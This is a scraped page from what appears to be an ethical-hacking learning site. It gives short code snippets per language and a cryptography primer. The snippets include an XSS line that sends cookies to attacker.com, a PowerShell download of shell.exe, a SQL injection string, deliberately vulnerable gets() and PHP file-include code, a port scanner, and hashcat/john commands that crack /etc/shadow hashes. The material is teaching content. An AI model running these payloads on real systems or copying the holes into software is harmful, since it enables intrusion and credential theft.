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Curated collection of the best cyber security books to accelerate your journey.
Browse BooksFrom beginner to advanced – learn at your own pace with structured content.
Browse CoursesLearn encryption, hashing, and cryptographic protocols used in modern systems.
Explore CryptographyComplete collection of cybersecurity & programming tutorials — crafted for ethical hackers.
Essential programming languages for ethical hacking and cybersecurity training, along with their key uses and learning priorities.
import socket
target = "192.168.1.1"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, 80))
s.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")
print(s.recv(1024).decode())
#!/bin/bash
for port in {1..65535}; do
timeout 1 bash -c "echo >/dev/tcp/192.168.1.1/$port" && echo "Port $port OPEN"
done
// Stealing cookies via XSS
fetch('http://attacker.com/log?cookie=' + document.cookie);
UNION SELECT username, password FROM users--
#include <stdio.h>
int main() {
char buffer[10];
gets(buffer); // Vulnerable
return 0;
}
Invoke-WebRequest "http://attacker.com/shell.exe" -OutFile "C:\Temp\shell.exe"
# Simple TCP server
require 'socket'
server = TCPServer.new 4444
client = server.accept
client.puts "Hacked!"
<?php
if (isset($_GET['file'])) {
include($_GET['file']); // LFI
}
?>
section .text
global _start
_start:
mov eax, 4 ; sys_write
mov ebx, 1 ; stdout
mov ecx, msg
mov edx, len
int 0x80
msg db "Hacked!", 0xa
len equ $ - msg
package main
import "net/http"
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("Hacked!"))
})
http.ListenAndServe(":8080", nil)
}
Click any tool to see a complete guide — features, commands, installation, and best practices.
Master the science of securing information — from classical ciphers to modern AES, RSA, and post-quantum cryptography. Understand how encryption protects data and how attackers try to break it.
Cryptography is the practice and study of techniques for secure communication in the presence of adversaries. It provides the foundation for nearly all modern digital security — from HTTPS connections to encrypted messaging apps, password storage, digital signatures, and blockchain systems.
In ethical hacking, understanding cryptography is essential: you must know how data is protected, how encryption can be misconfigured, and where cryptographic weaknesses exist that attackers can exploit.
The same key is used for encryption and decryption. Fast and efficient for bulk data.
Two different keys: a public key for encryption and a private key for decryption.
Produces a fixed-length digest from any input. Cannot be reversed.
# Generate a 4096-bit RSA private key
openssl genrsa -out private.pem 4096
# Extract public key
openssl rsa -in private.pem -pubout -out public.pem
# Encrypt a file with AES-256-CBC
openssl enc -aes-256-cbc -salt -in plain.txt -out secret.enc
# Decrypt the file
openssl enc -d -aes-256-cbc -in secret.enc -out plain.txt
# Generate SHA-256 hash
openssl dgst -sha256 file.txt
# Create a self-signed certificate
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
# Base64 encode / decode
echo "hello" | base64
echo "aGVsbG8K" | base64 -d# Generate a GPG key pair
gpg --full-generate-key
# Encrypt a file for a recipient
gpg -e -r recipient@example.com file.txt
# Decrypt
gpg -d file.txt.gpg
# Sign a file
gpg --detach-sign file.txt
# Verify signature
gpg --verify file.txt.sig# Identify hash type
hashid hash.txt
hash-identifier
# Hashcat — MD5 dictionary attack
hashcat -m 0 -a 0 hashes.txt rockyou.txt
# John — auto-detect and crack
john --wordlist=rockyou.txt hashes.txt
# Crack /etc/shadow hashes
unshadow passwd shadow > combined.txt
john combined.txtQuantum computers threaten RSA and ECC. NIST has selected new post-quantum algorithms:
Ethical hackers should start learning PQC now — migration is expected by 2030.
Explore more courses in the library, or practice crypto challenges on CryptoHack and CryptoPals.
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